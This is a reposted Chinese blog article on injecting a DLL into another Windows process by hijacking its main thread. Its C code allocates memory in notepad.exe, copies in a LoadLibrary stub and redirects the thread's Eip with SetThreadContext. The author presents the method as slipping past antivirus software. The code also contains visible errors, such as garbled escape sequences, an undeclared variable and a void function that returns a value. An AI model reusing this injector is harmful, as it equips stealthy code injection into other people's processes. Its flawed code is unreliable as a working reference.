windows下注入dll的技术(windows下注入dll的技术)
来源:互联网 发布:linux 安装apache php 编辑:程序博客网 时间:2024/06/05 00:44
目前windows下注入dll的技术大体上就是两种
1:钩子 SetWindowsHook
2:创建远程线程 CreateRemoteThread
尽管都能实现远程注入dll,但都难逃杀毒软件的法眼,特别是 CreateRemoteThread
一般都被杀毒软件监控的很牢,这里提供一个巧妙的方法能够利用目标进程(确切地说是线程)
自己主动调用LoadLibrary装载dll.
我们想一想,windows下vc调试器可以调试正在运行的进程,功能很是强大,那可不可以
借鉴调试器的机理呢?完全可以,调试器的机理大致分为以下几步:
1:OpenProcess() 获取目标进程句炳,拥有调试权限(我们这里不需要用这个权限)
2:SuspendThread() 挂起目标进程的主线程
3:GetThreadContext(), SetThreadContext() 读写目标线程的当前CPU上下文信息。
4:ReadProcessMemory(), WriteProcessMemory() 读写目标进程内存数据。
好了,这里面就给我们提供了很好的方法,是什么?对了就是 GetThreadContext(), SetThreadContext()
这两个API函数,它俩不但是哥们,也是我们最好的朋友(亲一下)。
下面给出代码:
1:我们自己的dll
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved
{
//很简单,我们不搞破坏,紧紧弹个信息框。
::MessageBox(0,"嘿嘿嘿!!!",0,0);
return TRUE;
}
2:我们的主程序
typedef HMODULE (__stdcall *pLoadLibrary)(LPCSTR lpLibFileName);
void test()
{
//不能直接使用常量字符串,否则会引起目标进程读取数据异常。
char dllname[] = {'c',':','//','d','l','l','t','e','s','t','.','d','l','l','/0'};
//必须用2088770939这个 LoadLibrary 函数的绝对地址(在我的xp下是这个地址,使用时应该在自己的windows下获取)
pLoadLibrary pFunc = pLoadLibrary(2088770939);
//调用LoadLibrary,因为LoadLibrary函数在windows下每个进程中绝对地址都是一样的。
pFunc(dllname);
return;
}
//以下是控制注入的函数
#include <windows.h>
void Inject()
{
CONTEXT context;
memset(&context,0,sizeof(context));
context.ContextFlags = CONTEXT_CONTROL;
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
ZeroMemory( &siStartInfo, sizeof(STARTUPINFO));
siStartInfo.cb = sizeof(STARTUPINFO);
BOOL bOk = CreateProcess(NULL,
"C://WINDOWS//system32//notepad.exe", // command line
NULL, // process security attributes
NULL, // primary thread security attributes
FALSE, // handles are inherited
0, // creation flags
NULL, // use parent's environment
"C://WINDOWS//system32//",// use parent's current directory
&siStartInfo, // STARTUPINFO pointer
&piProcInfo); // receives PROCESS_INFORMATION
::WaitForInputIdle(piProcInfo.hProcess,-1);
//为目标进程分配空间
LPVOID pRemote = ::VirtualAllocEx(piProcInfo.hProcess,0,4096,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
DWORD dWriten = 0,id = 0;
//将test函数写入目标进程
::WriteProcessMemory(piProcInfo.hProcess,pRemote,(LPVOID)test,1024,&dWriten);
//挂起目标进程的主线程
::SuspendThread(piProcInfo.hThread);
//获取目标线程的CPU上下文信息
i = ::GetThreadContext(piProcInfo.hThread,&context);
//更改Eip指令为我们拷贝好的test函数
context.Eip = (long)pRemote;
//设置目标线程的CPU上下文信息
i = ::SetThreadContext(piProcInfo.hThread,&context);
//唤醒目标线程,
::ResumeThread(piProcInfo.hThread);
//目标线程此时就会执行我们的test函数了,执行完后还会继续沿着
//自己原先的代码序列执行下去。
return 0;
}
以上代码都经过测试,的确比较“不动声色”的完成了dll的注入,杀毒软件
也不会有所觉察(除非定时扫描进程dll模块。那系统会比较慢)。
转自 http://topic.csdn.net/u/20110218/17/4c366b82-1107-4a2d-ba0d-291c2f62b76f.html?seed=995506853&r=71702954#r_71702954
- windows下注入dll的技术(windows下注入dll的技术)
- ring0下注入DLL
- Ring3下注入DLL的另类方法,能过杀软和游戏NP(源码)
- Ring3下注入DLL的另类方法,能过杀软和游戏NP(源码)
- 关于Spring中多线程下注入失败的处理
- Windows下装入DLL的搜索顺序
- Ring3/Ring0下注入方法
- linux下注入so之ptrace
- Win7 64位下注入工具
- Spring 多线程下注入bean问题
- Spring 多线程下注入bean问题
- Windows 8下注:微软修正苹果模式?
- DLL的线程中创建WINDOWS窗口并接收U盘移动磁盘查入消息
- windows核心编程 DLL技术
- Windows核心编程 第二十章 DLL的高级操作技术
- 技术,继续,更深入的
- Windows下DLL编程技术及应用
- Windows下DLL编程技术及应用
- 一次失败的兼职经历
- 学会欣赏别人
- 为何最简单的破坏命令通过了众多杀软
- 产业链思维
- 把程序的定义与实现部分用头文件与源文件分开
- windows下注入dll的技术(windows下注入dll的技术)
- Windows下安装配置RadRails指南
- 用Ubuntu破解wep加密的wifi
- 继续研究Gloox3
- hdu_2202_凸包求最大三角形
- 选择数字报软件的10大技巧
- 自删除
- 单片机入门的方法与误区(个人觉得杜洋的分析比较好,分享一下)
- 8051、AVR和ARM的关系及实际情况 推荐